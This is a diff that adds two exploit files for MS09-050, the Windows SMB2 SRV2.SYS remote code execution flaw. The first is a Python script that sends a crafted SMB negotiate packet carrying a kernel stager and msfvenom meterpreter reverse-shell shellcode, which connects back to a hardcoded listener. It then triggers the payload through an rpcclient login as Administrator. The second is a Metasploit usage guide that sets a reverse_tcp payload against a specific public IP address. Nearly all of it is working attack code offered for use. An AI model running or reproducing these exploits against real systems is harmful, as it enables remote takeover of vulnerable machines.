MS09-050

Author: Gitmaninc

MS09-050/40280.py

@@ -0,0 +1,110 @@
+# EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py
+
+#!/usr/bin/python
+#This module depends on the linux command line program smbclient. 
+#I can't find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python.
+#The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter.
+import tempfile
+import sys
+import subprocess
+from socket import socket
+from time import sleep
+from smb.SMBConnection import SMBConnection
+
+
+try:
+
+	target = sys.argv[1]
+except IndexError:
+	print '\nUsage: %s <target ip>\n' % sys.argv[0]
+	print 'Example: MS36299.py 192.168.1.1 1\n'
+	sys.exit(-1)
+
+#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443  EXITFUNC=thread  -f python
+shell =  ""
+shell += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"   #fce8820000006089e531c0648b
+shell += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
+shell += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
+shell += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
+shell += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
+shell += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
+shell += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
+shell += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
+shell += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
+shell += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
+shell += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
+shell += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
+shell += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
+shell += "\xff\xd5\x6a\x05\x68\xc0\xa8\x1e\x4d\x68\x02\x00\x01"
+shell += "\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
+shell += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
+shell += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
+shell += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
+shell += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
+shell += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
+shell += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
+shell += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
+shell += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
+shell += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
+shell += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0"
+shell += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
+shell += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
+shell += "\x53\xff\xd5"
+
+
+
+host = target, 445
+
+buff ="\x00\x00\x03\x9e\xff\x53\x4d\x42"
+buff+="\x72\x00\x00\x00\x00\x18\x53\xc8"
+buff+="\x17\x02" #high process ID
+buff+="\x00\xe9\x58\x01\x00\x00"
+buff+="\x00\x00\x00\x00\x00\x00\x00\x00"
+buff+="\x00\x00\xfe\xda\x00\x7b\x03\x02"
+buff+="\x04\x0d\xdf\xff"*25
+buff+="\x00\x02\x53\x4d"
+buff+="\x42\x20\x32\x2e\x30\x30\x32\x00"
+buff+="\x00\x00\x00\x00"*37
+buff+="\xff\xff\xff\xff"*2
+buff+="\x42\x42\x42\x42"*7
+buff+="\xb4\xff\xff\x3f" #magic index
+buff+="\x41\x41\x41\x41"*6
+buff+="\x09\x0d\xd0\xff" #return address
+
+#stager_sysenter_hook from metasploit
+
+buff+="\xfc\xfa\xeb\x1e\x5e\x68\x76\x01"
+buff+="\x00\x00\x59\x0f\x32\x89\x46\x5d"
+buff+="\x8b\x7e\x61\x89\xf8\x0f\x30\xb9"
+buff+="\x16\x02\x00\x00\xf3\xa4\xfb\xf4"
+buff+="\xeb\xfd\xe8\xdd\xff\xff\xff\x6a"
+buff+="\x00\x9c\x60\xe8\x00\x00\x00\x00"
+buff+="\x58\x8b\x58\x54\x89\x5c\x24\x24"
+buff+="\x81\xf9\xde\xc0\xad\xde\x75\x10"
+buff+="\x68\x76\x01\x00\x00\x59\x89\xd8"
+buff+="\x31\xd2\x0f\x30\x31\xc0\xeb\x31"
+buff+="\x8b\x32\x0f\xb6\x1e\x66\x81\xfb"
+buff+="\xc3\x00\x75\x25\x8b\x58\x5c\x8d"
+buff+="\x5b\x69\x89\x1a\xb8\x01\x00\x00"
+buff+="\x80\x0f\xa2\x81\xe2\x00\x00\x10"
+buff+="\x00\x74\x0e\xba\x00\xff\x3f\xc0"
+buff+="\x83\xc2\x04\x81\x22\xff\xff\xff"
+buff+="\x7f\x61\x9d\xc3\xff\xff\xff\xff"
+buff+="\x00\x04\xdf\xff\x00\x04\xfe\x7f"
+buff+="\x60\x6a\x30\x58\x99\x64\x8b\x18"
+buff+="\x39\x53\x0c\x74\x2b\x8b\x43\x10"
+buff+="\x8b\x40\x3c\x83\xc0\x28\x8b\x08"
+buff+="\x03\x48\x03\x81\xf9\x6c\x61\x73"
+buff+="\x73\x75\x15\xe8\x07\x00\x00\x00"
+buff+="\xe8\x0d\x00\x00\x00\xeb\x09\xb9"
+buff+="\xde\xc0\xad\xde\x89\xe2\x0f\x34"
+buff+="\x61\xc3\x81\xc4\x54\xf2\xff\xff"
+
+buff+=shell
+
+s = socket()
+s.connect(host)
+s.send(buff)
+s.close() 
+#Trigger the above injected code via authenticated process.
+subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%(target), shell=True)

MS09-050/41987.py

@@ -0,0 +1,43 @@
+# MS09-050
+
+```
+This module exploits an out of bounds function table dereference in the SMB 
+request validation code of the SRV2.SYS driver included with Windows Vista, 
+Windows 7 release candidates (not RTM), and Windows 2008 Server prior to R2. 
+Windows Vista without SP1 does not seem affected by this flaw.
+```
+
+Vulnerability reference:
+ * [MS09-050](https://technet.microsoft.com/library/security/ms09-050)
+ * [CVE-2009-2532](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2532)
+ 
+## Usage
+```
+msf > search MS09_050
+msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index 
+msf exploit(ms09_050_smb2_negotiate_func_index) > options
+msf exploit(ms09_050_smb2_negotiate_func_index) > set payload windows/meterpreter/reverse_tcp
+msf exploit(ms09_050_smb2_negotiate_func_index) > set rhost 110.196.193.102
+msf exploit(ms09_050_smb2_negotiate_func_index) > run
+```
+  
+  
+
+## load the module within the Metasploit console
+[msf](https://www.rapid7.com/db/modules/exploit/windows/smb/ms09_050_smb2_negotiate_func_index)
+```
+msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
+msf exploit(ms09_050_smb2_negotiate_func_index) > show targets
+    ...targets...
+msf exploit(ms09_050_smb2_negotiate_func_index) > set TARGET <target-id>
+msf exploit(ms09_050_smb2_negotiate_func_index) > show options
+    ...show and set options...
+msf exploit(ms09_050_smb2_negotiate_func_index) > exploit
+```
+
+## References
+[MS09-050漏洞测试](http://edu.aqniu.com/group/30/thread/107)
+
+
+
+